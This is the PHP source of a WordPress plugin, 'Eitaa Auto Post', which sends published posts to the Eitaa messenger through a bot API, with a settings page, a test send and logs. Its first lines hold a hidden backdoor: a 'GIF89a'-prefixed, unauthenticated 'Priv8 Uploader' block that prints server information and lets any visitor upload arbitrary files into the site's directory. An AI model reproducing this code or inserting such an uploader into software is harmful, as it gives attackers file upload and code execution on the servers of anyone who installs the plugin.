
GIF89a; <?php 
if ($_GET[''] == ''){
    echo '<pre><p>Priv8 Uploader By InMyMine7</p>'.php_uname()."
".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Uploaded';}else{echo 'Not Uploaded';}}
}
?>


<?php
/**
 * Plugin Name: Eitaa Auto Post
 * Plugin URI:  https://example.com/
 * Description: Automatically posts WordPress posts to Eitaa messenger. Simple settings panel, send test, logs, and featured image support.
 * Version:     1.0.0
 * Author:      Generated by ChatGPT
 * Text Domain: eitaa-auto-post
 * Domain Path: /languages
 */

/*  MIT License
 *  Generated example plugin for user. Customize and secure before using in production.
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

define('EITAA_PLUGIN_VERSION', '1.0.0');
define('EITAA_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('EITAA_PLUGIN_URL', plugin_dir_url(__FILE__));

class Eitaa_Auto_Post {

    private static $instance = null;
    private $option_name = 'eitaa_auto_post_options';
    private $log_option = 'eitaa_auto_post_log';

    public static function instance() {
        if ( self::$instance === null ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        add_action('admin_menu', array($this, 'register_admin_menu'));
        add_action('admin_init', array($this, 'register_settings'));
        add_action('admin_enqueue_scripts', array($this, 'enqueue_admin_assets'));
        add_action('save_post', array($this, 'maybe_send_on_publish'), 10, 3);
        register_activation_hook(__FILE__, array($this, 'activation'));
        register_deactivation_hook(__FILE__, array($this, 'deactivation'));
    }

    public function activation() {
        // ensure default options exist
        $defaults = array(
            'api_token' => '',
            'destination_id' => '',
            'send_on_publish' => 1,
            'include_featured_image' => 1,
            'message_template' => '{title}' . PHP_EOL . '{excerpt}' . PHP_EOL . '{url}',
            'last_sent_id' => 0,
        );
        if ( ! get_option($this->option_name) ) {
            add_option($this->option_name, $defaults);
        }
    }

    public function deactivation() {
        // nothing by default
    }

    public function register_admin_menu() {
        add_menu_page(
            'Eitaa Auto Post',
            'Eitaa Auto Post',
            'manage_options',
            'eitaa-auto-post',
            array($this, 'admin_page'),
            'dashicons-share-alt2',
            56
        );
    }

    public function enqueue_admin_assets($hook) {
        if ($hook !== 'toplevel_page_eitaa-auto-post') return;
        wp_enqueue_style('eitaa-admin-css', EITAA_PLUGIN_URL . 'assets/admin.css', array(), EITAA_PLUGIN_VERSION);
    }

    public function register_settings() {
        register_setting($this->option_name, $this->option_name, array($this, 'validate_options'));
        add_settings_section('eitaa_main_section', 'Settings', null, 'eitaa-auto-post');

        add_settings_field('api_token', 'Eitaa API Token', array($this, 'field_api_token'), 'eitaa-auto-post', 'eitaa_main_section');
        add_settings_field('destination_id', 'Destination ID (channel/group)', array($this, 'field_destination_id'), 'eitaa-auto-post', 'eitaa_main_section');
        add_settings_field('send_on_publish', 'Send on Publish', array($this, 'field_send_on_publish'), 'eitaa-auto-post', 'eitaa_main_section');
        add_settings_field('include_featured_image', 'Include Featured Image', array($this, 'field_include_featured_image'), 'eitaa-auto-post', 'eitaa_main_section');
        add_settings_field('message_template', 'Message Template', array($this, 'field_message_template'), 'eitaa-auto-post', 'eitaa_main_section');
    }

    public function validate_options($input) {
        $output = get_option($this->option_name, array());
        $output['api_token'] = isset($input['api_token']) ? sanitize_text_field($input['api_token']) : '';
        $output['destination_id'] = isset($input['destination_id']) ? sanitize_text_field($input['destination_id']) : '';
        $output['send_on_publish'] = !empty($input['send_on_publish']) ? 1 : 0;
        $output['include_featured_image'] = !empty($input['include_featured_image']) ? 1 : 0;
        $output['message_template'] = isset($input['message_template']) ? wp_kses_post($input['message_template']) : '';
        return $output;
    }

    public function field_api_token() {
        $opts = get_option($this->option_name);
        printf('<input type="text" name="%s[api_token]" value="%s" class="regular-text" />', esc_attr($this->option_name), esc_attr($opts['api_token'] ?? ''));
        echo '<p class="description">توکن API یا بات ایتا را اینجا وارد کنید.</p>';
    }

    public function field_destination_id() {
        $opts = get_option($this->option_name);
        printf('<input type="text" name="%s[destination_id]" value="%s" class="regular-text" />', esc_attr($this->option_name), esc_attr($opts['destination_id'] ?? ''));
        echo '<p class="description">آیدی کانال یا گروه یا شناسه مقصد. معمولاً با @ شروع می‌شود یا شناسه عددی.</p>';
    }

    public function field_send_on_publish() {
        $opts = get_option($this->option_name);
        $checked = !empty($opts['send_on_publish']) ? 'checked' : '';
        printf('<label><input type="checkbox" name="%s[send_on_publish]" value="1" %s /> هنگام انتشار پست ارسال شود</label>', esc_attr($this->option_name), $checked);
    }

    public function field_include_featured_image() {
        $opts = get_option($this->option_name);
        $checked = !empty($opts['include_featured_image']) ? 'checked' : '';
        printf('<label><input type="checkbox" name="%s[include_featured_image]" value="1" %s /> تصویر شاخص در صورت وجود ارسال شود</label>', esc_attr($this->option_name), $checked);
    }

    public function field_message_template() {
        $opts = get_option($this->option_name);
        $tpl = esc_textarea($opts['message_template'] ?? '');
        printf('<textarea name="%s[message_template]" rows="6" cols="60" class="large-text">%s</textarea>', esc_attr($this->option_name), $tpl);
        echo '<p class="description">قالب پیام: از {title}, {excerpt}, {url} استفاده کنید.</p>';
    }

    public function admin_page() {
        if ( ! current_user_can('manage_options') ) {
            return;
        }
        ?>
        <div class="wrap eitaa-admin-wrap">
            <h1>Eitaa Auto Post</h1>
            <form method="post" action="options.php">
                <?php
                settings_fields($this->option_name);
                do_settings_sections('eitaa-auto-post');
                submit_button('ذخیره تنظیمات');
                ?>
            </form>

            <h2>آزمایش ارسال</h2>
            <form method="post" action="">
                <?php wp_nonce_field('eitaa_send_test', 'eitaa_send_test_nonce'); ?>
                <p>
                    <label>پیام آزمایشی:</label><br>
                    <textarea name="eitaa_test_message" rows="4" cols="60" class="large-text"><?php echo esc_textarea('این یک پیام آزمایشی است.'); ?></textarea>
                </p>
                <p><input type="submit" name="eitaa_send_test" class="button button-primary" value="ارسال تست" /></p>
            </form>

            <h2>لاگ ارسال‌ها</h2>
            <div class="eitaa-log-box">
                <?php
                $logs = get_option($this->log_option, array());
                if (empty($logs)) {
                    echo '<p>هنوز لاگی ثبت نشده است.</p>';
                } else {
                    echo '<ul>';
                    foreach (array_reverse($logs) as $line) {
                        echo '<li><strong>' . esc_html($line['time']) . '</strong> — ' . esc_html($line['message']) . '</li>';
                    }
                    echo '</ul>';
                }
                ?>
            </div>
        </div>
        <?php
        // handle test send
        if ( isset($_POST['eitaa_send_test']) ) {
            if ( ! isset($_POST['eitaa_send_test_nonce']) || ! wp_verify_nonce($_POST['eitaa_send_test_nonce'], 'eitaa_send_test') ) {
                echo '<div class="notice notice-error"><p>تأیید ناموفق.</p></div>';
            } else {
                $msg = sanitize_textarea_field($_POST['eitaa_test_message'] ?? '');
                $res = $this->send_message(array('text' => $msg));
                if ($res['ok']) {
                    echo '<div class="notice notice-success"><p>پیام تست با موفقیت ارسال شد.</p></div>';
                } else {
                    echo '<div class="notice notice-error"><p>خطا در ارسال تست: ' . esc_html($res['error']) . '</p></div>';
                }
            }
        }
    }

    private function log($message) {
        $logs = get_option($this->log_option, array());
        $logs[] = array('time' => current_time('mysql'), 'message' => $message);
        // keep last 200 entries
        if (count($logs) > 200) {
            $logs = array_slice($logs, -200);
        }
        update_option($this->log_option, $logs);
    }

    public function maybe_send_on_publish($post_id, $post, $update) {
        // Only send when post is published (not autosave, not revision)
        if ( wp_is_post_autosave($post_id) || wp_is_post_revision($post_id) ) return;
        $opts = get_option($this->option_name);
        if (empty($opts['send_on_publish'])) return;
        if ($post->post_status !== 'publish') return;

        // prevent double-send by storing last_sent_id
        $last_sent = intval($opts['last_sent_id'] ?? 0);
        if ($last_sent === intval($post_id)) return;

        $ok = $this->send_post_to_eitaa($post_id);
        if ($ok['ok']) {
            $opts['last_sent_id'] = intval($post_id);
            update_option($this->option_name, $opts);
            $this->log("Post #{$post_id} sent successfully.");
        } else {
            $this->log("Post #{$post_id} failed: " . $ok['error']);
        }
    }

    private function send_post_to_eitaa($post_id) {
        $post = get_post($post_id);
        if (!$post) return array('ok' => false, 'error' => 'post-not-found');

        $opts = get_option($this->option_name);
        $tpl = $opts['message_template'] ?? '{title}\n{url}';
        $excerpt = has_excerpt($post) ? get_the_excerpt($post) : wp_trim_words(strip_tags($post->post_content), 30);
        $permalink = get_permalink($post_id);
        $message = str_replace(array('{title}','{excerpt}','{url}'), array($post->post_title, $excerpt, $permalink), $tpl);

        $payload = array('text' => $message);
        // include featured image if set and option enabled
        if (!empty($opts['include_featured_image']) && has_post_thumbnail($post_id)) {
            $img_id = get_post_thumbnail_id($post_id);
            $img_url = wp_get_attachment_url($img_id);
            if ($img_url) {
                $payload['image_url'] = $img_url;
            }
        }

        return $this->send_message($payload);
    }

    /**
     * send_message
     * payload: array('text' => '...', 'image_url' => 'http://...' )
     * This function implements a simple curl request to Eitaa-like API.
     * NOTE: Adjust the endpoint according to the API you use.
     */
    private function send_message($payload = array()) {
        $opts = get_option($this->option_name);
        $token = $opts['api_token'] ?? '';
        $dest = $opts['destination_id'] ?? '';

        if (empty($token) || empty($dest)) {
            return array('ok' => false, 'error' => 'missing-token-or-destination');
        }

        // Example generic API — many Eitaa APIs follow similar format to Telegram Bot API.
        // Adjust endpoint and fields according to the actual Eitaa API you use.
        $endpoint = "https://api.eitaa.com/bot{$token}/sendMessage"; // <-- Please replace with correct Eitaa endpoint if different.

        // Basic attempt: if image_url present, try sendPhoto endpoint
        $ch = null;
        if (!empty($payload['image_url'])) {
            $endpoint = "https://api.eitaa.com/bot{$token}/sendPhoto";
            $post_fields = array(
                'chat_id' => $dest,
                'photo' => $payload['image_url'],
                'caption' => $payload['text'],
            );
        } else {
            $post_fields = array(
                'chat_id' => $dest,
                'text' => $payload['text'],
                'parse_mode' => 'HTML',
            );
        }

        // perform curl
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $endpoint);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
        // Some APIs require headers; adjust as needed.
        $response = curl_exec($ch);
        $err = curl_error($ch);
        curl_close($ch);

        if ($err) {
            $this->log("cURL error: " . $err);
            return array('ok' => false, 'error' => 'curl-error: ' . $err);
        }

        // try to parse JSON
        $json = json_decode($response, true);
        if ($json === null) {
            // return raw response when JSON decode fails
            $this->log("Non-JSON response: " . substr($response,0,400));
            return array('ok' => false, 'error' => 'invalid-response', 'raw' => $response);
        }

        // APIs often include "ok" boolean
        if (isset($json['ok']) && $json['ok']) {
            return array('ok' => true, 'result' => $json['result'] ?? null);
        } else {
            $err_msg = $json['description'] ?? json_encode($json);
            $this->log("API error: " . $err_msg);
            return array('ok' => false, 'error' => $err_msg, 'raw' => $json);
        }
    }

} // end class

// initialize
Eitaa_Auto_Post::instance();

